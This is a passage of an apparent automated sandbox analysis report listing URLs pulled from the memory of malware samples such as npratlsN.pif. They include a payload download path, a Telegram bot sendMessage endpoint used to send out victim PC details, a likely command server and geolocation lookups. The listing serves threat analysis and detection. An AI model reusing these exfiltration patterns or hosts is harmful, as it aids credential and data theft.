              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://e6.i.lencr.org/0
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://e6.o.lencr.org0
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mail.irco.com.sa
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
              Source: brightness.exe, 00000004.00000002.1889917272.0000000021890000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1858000944.000000007F2CA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1856985915.0000000021F01000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830836182.000000007F30F000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000F.00000002.2087769696.0000000020588000.00000004.00001000.00020000.00000000.sdmp, npratlsN.pif.4.drString found in binary or memory: http://ocsp.comodoca.com0$
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0C
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://varders.kozow.com:8081
              Source: brightness.exe, 00000004.00000002.1889917272.0000000021890000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1858000944.000000007F2CA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1856985915.0000000021F01000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830836182.000000007F30F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890574991.0000000021FAB000.00000004.00000020.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000F.00000002.2087769696.0000000020588000.00000004.00001000.00020000.00000000.sdmp, npratlsN.pif.4.drString found in binary or memory: http://www.pmail.com0
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029E9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://x1.c.lencr.org/0
              Source: npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://x1.i.
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029E9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://x1.i.lencr.org/0
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
              Source: brightness.exe, 00000004.00000002.1860229176.0000000000656000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://amazonenviro.com/Z
              Source: brightness.exe, 00000004.00000002.1883329411.00000000206DD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://amazonenviro.com/admin/245_Nslta
              Source: brightness.exe, 00000004.00000002.1860229176.0000000000656000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000206AB000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://amazonenviro.com/admin/245_Nsltarpncon
              Source: brightness.exe, 00000004.00000002.1860229176.000000000063D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://amazonenviro.com/admin/245_Nsltarpncon6B
              Source: brightness.exe, 00000004.00000002.1860229176.0000000000681000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://amazonenviro.com:443/admin/245_Nsltarpncon
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B8B8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20a
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002193C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C0A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=en
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B990000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=enLz
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B98B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=enlB
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002183A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BEE5000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF55000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org
              Source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B853000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.00000000217D3000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BEE5000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/
              Source: npratlsN.pif, 00000010.00000002.3457162026.000000002BF55000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002183A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF0F000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF55000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
              Source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B907000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C82C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA2E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022BA9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A69000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022961000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000227AC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022913000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022988000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D097000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CEBC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D178000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D2B9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D022000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D070000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
